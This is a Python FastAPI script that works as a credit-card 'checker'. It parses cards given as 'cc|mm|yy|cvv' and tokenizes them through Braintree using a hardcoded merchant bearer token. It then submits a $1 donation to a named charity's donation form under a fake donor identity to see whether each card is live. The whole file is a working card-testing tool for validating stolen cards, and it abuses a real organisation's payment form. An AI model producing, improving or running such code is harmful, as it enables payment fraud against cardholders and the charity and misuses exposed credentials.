from fastapi import FastAPI, HTTPException from pydantic import BaseModel import requests import uuid from faker import Faker import re app = FastAPI() fake = Faker() # API endpoints BRAINTREE_API_URL = "https://payments.braintree-api.com/graphql" DONATION_API_URL = "https://www.kiusa.org/?givewp-route=donate&givewp-route-signature=6e7056237cf4f9e3c054d7723aac17e0&givewp-route-signature-id=givewp-donate&givewp-route-signature-expiration=1760437730" # Headers for Braintree API (replace authorization token with a valid one for real use) BRAINTREE_HEADERS = { "accept": "*/*", "accept-language": "en-US,en;q=0.9,ru;q=0.8", "authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiIsImtpZCI6IjIwMTgwNDI2MTYtcHJvZHVjdGlvbiIsImlzcyI6Imh0dHBzOi8vYXBpLmJyYWludHJlZWdhdGV3YXkuY29tIn0.eyJleHAiOjE3NjAzODAyNjYsImp0aSI6ImQ4ZTU0YWVhLTBjYWYtNDgyNy1iYzdhLTBmZGVmYmNkNjU3OSIsInN1YiI6IjkzNW16dGRndmdqNjVnbWciLCJpc3MiOiJodHRwczovL2FwaS5icmFpbnRyZWVnYXRld2F5LmNvbSIsIm1lcmNoYW50Ijp7InB1YmxpY19pZCI6IjkzNW16dGRndmdqNjVnbWciLCJ2ZXJpZnlfY2FyZF9ieV9kZWZhdWx0Ijp0cnVlLCJ2ZXJpZnlfd2FsbGV0X2J5X2RlZmF1bHQiOmZhbHNlfSwicmlnaHRzIjpbIm1hbmFnZV92YXVsdCJdLCJzY29wZSI6WyJCcmFpbnRyZWU6VmF1bHQiLCJCcmFpbnRyZWU6Q2xpZW50U0RLIl0sIm9wdGlvbnMiOnt9fQ.Upc3xPht1ZZ1mfwQlhwhasXVRdDY2Qe6He62WgJINTAQPpWH7xNGoejuSpEarooYhQI6Lo9frMq_05oxIJ9MNg", # Truncated for example "braintree-version": "2018-05-10", "content-type": "application/json", "origin": "https://assets.braintreegateway.com", "referer": "https://assets.braintreegateway.com/", "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" } # Headers for donation API DONATION_HEADERS = { "authority": "www.kiusa.org", "accept": "application/json", "accept-encoding": "gzip, deflate, br, zstd", "accept-language": "en-US,en;q=0.9,ru;q=0.8", "origin": "https://www.kiusa.org", "referer": "https://www.kiusa.org/?givewp-route=donation-form-view&form-id=2992&locale=en_US", "sec-ch-ua": '"Not;A=Brand";v="99", "Google Chrome";v="139", "Chromium";v="139"', "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": '"Windows"', "sec-fetch-dest": "empty", "sec-fetch-mode": "cors", "sec-fetch-site": "same-origin", "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36", "content-type": "multipart/form-data; boundary=----WebKitFormBoundary6NrWWrdqTSFaZ8Wq" } class CardInput(BaseModel): card_details: str def parse_card_input(card_input: str): """Parse user-provided card details in format cc|mm|yy|cvv.""" if not re.match(r"^\d+\|\d{1,2}\|\d{2}\|\d{3,4}$", card_input): raise ValueError("Invalid format. Use cc|mm|yy|cvv (e.g., 4737034069082783|05|27|713)") try: number, month, year, cvv = card_input.split("|") number = number.strip() month = month.strip() year = f"20{year.strip()}" # Convert 2-digit year to 4-digit cvv = cvv.strip() # Basic validation if not (number.isdigit() and 12 <= len(number) <= 19): raise ValueError("Invalid card number") if not (month.isdigit() and 1 <= int(month) <= 12): raise ValueError("Invalid expiration month") if not (year.isdigit() and len(year) == 4): raise ValueError("Invalid expiration year") if not (cvv.isdigit() and len(cvv) in [3, 4]): raise ValueError("Invalid CVV") return { "number": number, "cardholderName": "", # Not provided in format, left empty "expirationMonth": month.zfill(2), # Ensure 2 digits "expirationYear": year, "cvv": cvv, "postalCode": fake.zipcode() # Generate random postal code } except ValueError as e: raise ValueError(f"Error parsing card details: {str(e)}") def create_graphql_payload(card_details): """Create GraphQL payload for tokenizing credit card.""" session_id = str(uuid.uuid4()) payload = { "clientSdkMetadata": { "source": "client", "integration": "dropin2", "sessionId": session_id }, "query": """ mutation TokenizeCreditCard($input: TokenizeCreditCardInput!) { tokenizeCreditCard(input: $input) { token creditCard { bin brandCode last4 cardholderName expirationMonth expirationYear binData { prepaid healthcare debit durbinRegulated commercial payroll issuingBank countryOfIssuance productId } } } } """, "variables": { "input": { "creditCard": { "number": card_details["number"], "expirationMonth": card_details["expirationMonth"], "expirationYear": card_details["expirationYear"], "cvv": card_details["cvv"], "billingAddress": { "postalCode": card_details["postalCode"] } }, "options": { "validate": False } } }, "operationName": "TokenizeCreditCard" } return payload def check_card(card_details): """Send card details to Braintree API and return response.""" payload = create_graphql_payload(card_details) try: response = requests.post(BRAINTREE_API_URL, headers=BRAINTREE_HEADERS, json=payload) response.raise_for_status() return response.json() except requests.exceptions.RequestException as e: return {"error": f"Braintree request failed: {str(e)}"} def create_donation_payload(token): """Create multipart/form-data payload for donation request.""" boundary = "----WebKitFormBoundary6NrWWrdqTSFaZ8Wq" fields = [ ("amount", "1"), ("currency", "USD"), ("donationType", "single"), ("formId", "2992"), ("gatewayId", "braintree"), ("firstName", "Rambo"), ("lastName", "Rami"), ("email", "niansuhai@proton.me"), ("donationBirthday", ""), ("originUrl", "https://www.kiusa.org/donations/donate-today/"), ("isEmbed", "true"), ("embedId", "2992"), ("locale", "en_US"), ("gatewayData[give-braintree-drop-in-nonce]", token) ] body = "" for name, value in fields: body += f"--{boundary}\r\nContent-Disposition: form-data; name=\"{name}\"\r\n\r\n{value}\r\n" body += f"--{boundary}--\r\n" return body.encode("utf-8") def send_donation_request(token): """Send donation request to kiusa.org with the tokenized card.""" payload = create_donation_payload(token) try: response = requests.post(DONATION_API_URL, headers=DONATION_HEADERS, data=payload) response.raise_for_status() return response.json() except requests.exceptions.RequestException as e: return {"error": f"Donation request failed: {str(e)}"} @app.post("/braintree-chk") async def check_card_endpoint(card_input: CardInput): """Endpoint to check credit card details and process donation.""" try: card_details = parse_card_input(card_input.card_details) braintree_response = check_card(card_details) token = None if braintree_response.get("data", {}).get("tokenizeCreditCard"): token = braintree_response["data"]["tokenizeCreditCard"]["token"] donation_response = {"error": "No token generated"} if not token else send_donation_request(token) result = { "card_details": { "last4": card_details["number"][-4:], "expiration": f"{card_details['expirationMonth']}/{card_details['expirationYear']}", "cvv": card_details["cvv"], "postalCode": card_details["postalCode"] }, "braintree_response": braintree_response, "donation_response": donation_response } return result except ValueError as e: raise HTTPException(status_code=400, detail=str(e)) except Exception as e: raise HTTPException(status_code=500, detail=f"Server error: {str(e)}")